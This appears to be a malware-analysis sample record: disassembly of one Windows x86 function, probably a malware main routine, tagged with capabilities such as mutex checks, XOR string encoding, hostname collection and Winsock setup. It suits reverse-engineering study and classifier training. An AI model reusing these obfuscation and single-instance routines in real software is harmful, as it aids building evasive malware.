Function at 0x4066ee
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Encode data using xor
Get hostname
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x413290], eax
call fcn.0040a405
call fcn.0040a4a7
call fcn.00408fd0
mov eax, dword [0x40fcc1]
xor ebx, ebx
inc eax
push eax
push 0x413780
push 0xffffffffffffffff
push 0x40fcc5
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edx, dword [0x40fd45]
mov ecx, 0x40fd49
call fcn.00405478
mov dword [0x41377c], eax
call fcn.004080bc
call fcn.004027eb
call fcn.00407a96
call fcn.00409d9e
lea ecx, [esp + 0x38]
call fcn.00407d70
lea ecx, [esp + 0x38]
call fcn.00408c3d
push 0x413378
lea eax, [esp + 0x3c]
push 0x202
mov dword [0x413514], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x40
push eax
push 0x4132f8
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x4132bc
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx edx, byte [0x412e64]
lea ecx, [esp + 0x38]
call fcn.0040c3d5
movaps xmm0, xmmword [0x401fa0]
mov eax, ebx
movups xmmword [esp + 0x1c], xmm0
mov dword [esp + 0x2c], 0x55705575
mov dword [esp + 0x30], 0x555526
xor byte [esp + eax + 0x1c], 0x55
inc eax
cmp eax, 0x17
jb 0x4067d6
movaps xmm0, xmmword [0x401990]
mov eax, ebx
mov byte [esp + 0x33], bl
movups xmmword [esp + 0xc], xmm0
xor byte [esp + eax + 0xc], 0x55
inc eax
cmp eax, 0xf
jb 0x4067f3
push 0x413190
lea eax, [esp + 0x20]
mov byte [esp + 0x1f], bl
push eax
lea eax, [esp + 0x14]
push eax
call fcn.0040d449
add esp, 0xc
lea ecx, [esp + 0x38]
call fcn.0040a2bc
cmp byte [0x412e64], bl
jne 0x40688a
cmp byte [0x412e62], bl
jne 0x40688a
lea ecx, [esp + 0x38]
call fcn.00408025
test eax, eax
je 0x40688a
mov dword [esp + 0xc], 0x6141017
mov eax, ebx
mov dword [esp + 0x10], 0x101d7501
mov dword [esp + 0x14], 0x6a1007
xor byte [esp + eax + 0xc], 0x55
inc eax
cmp eax, 0xb
jb 0x406859
push ebx
lea eax, [esp + 0x10]
mov byte [esp + 0x1b], bl
push eax
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40688a
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004094a0
mov esi, eax
cmp byte [esi + 0x4e24], bl
jne 0x406980
cmp byte [esi + 0x4e22], bl
je 0x4068be
lea ecx, [esp + 0x38]
call fcn.00408025
test eax, eax
je 0x4068be
call fcn.00402b5b
mov ecx, eax
call fcn.004094cc
cmp byte [esi + 0x4e24], bl
jne 0x406980
cmp byte [esi + 0x4e23], bl
je 0x4068eb
lea ecx, [esp + 0x38]
call fcn.00408025
test eax, eax
je 0x4068eb
call fcn.00402b5b
mov ecx, eax
call fcn.00409808
cmp byte [esi + 0x4e24], bl
jne 0x406980
lea ecx, [esp + 0x38]
call fcn.00408025
test eax, eax
je 0x406980
cmp byte [esi + 0x4e1f], bl
je 0x406911
call fcn.0040b012
cmp byte [esi + 0x4e20], bl
je 0x406930
call fcn.00409b13
test eax, eax
jne 0x406930
call fcn.00409ab9
test eax, eax
je 0x406930
call fcn.0040ac90
cmp byte [esi + 0x4e1e], bl
je 0x40694d
call fcn.0040a6c7
call fcn.00409ab9
test eax, eax
je 0x40694d
xor ecx, ecx
call fcn.0040aaf1
cmp byte [esi + 0x4e1d], bl
je 0x40695a
call fcn.0040ab1c
cmp byte [esi + 0x4e1a], bl
je 0x40696b
lea ecx, [esp + 0x38]
call fcn.0040a216
cmp byte [esi + 0x4e1b], bl
je 0x406980
call fcn.00407852
xor ecx, ecx
inc ecx
call fcn.004079be
call fcn.00407a03
test eax, eax
je 0x40699a
lea ecx, [esp + 0x38]
call fcn.00408025
test eax, eax
jne 0x406a75
cmp byte [esi + 0x4e21], bl
jne 0x4069d1
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x55105517
mov dword [esp + 0x10], 0x551c5512
mov dword [esp + 0x14], 0x55551b
call fcn.00406b02
mov edx, eax
call fcn.00402b5b
mov ecx, eax
call fcn.0040a51f
call fcn.00408e35
xor ecx, ecx
inc ecx
call fcn.00408efd
call fcn.00407a03
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4069fc
call fcn.00409b65
push 0x3e8
call edi
call fcn.00407a03
test eax, eax
je 0x4069eb
push ebx
push ebx
push 0xf
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 0x556b5578
mov word [esp + 0x1c], 0x55
call fcn.00403b12
mov edx, eax
lea ecx, [esp + 0x44]
call fcn.00407dea
add esp, 0xc
jmp 0x406a38
call fcn.00409b65
push 0x3e8
call edi
call fcn.00408f59
test eax, eax
je 0x406a2c
cmp byte [esi + 0x4e21], bl
jne 0x406a70
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x551b5510
mov dword [esp + 0x10], 0x555511
call fcn.00406aef
mov edx, eax
call fcn.00402b5b
mov ecx, eax
call fcn.0040a51f
call fcn.0040a150
cmp byte [esi + 0x4e24], bl
jne 0x406a86
call fcn.0040d382
test eax, eax
je 0x406abd
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea edi, [esp + 0x1c]
push 7
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
jmp 0x406aaf
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push ebx
push ebx
push ebx
lea eax, [esp + 0x28]
push eax
call esi
test eax, eax
jne 0x406a99
lea ecx, [esp + 0x38]
call fcn.00407dd9
call fcn.0040831d
call fcn.00402b61
call fcn.00407c50
call fcn.0040a125
call fcn.00408dd8
call fcn.004077e8
call fcn.0040d2cd
push ebx
jmp 0x406884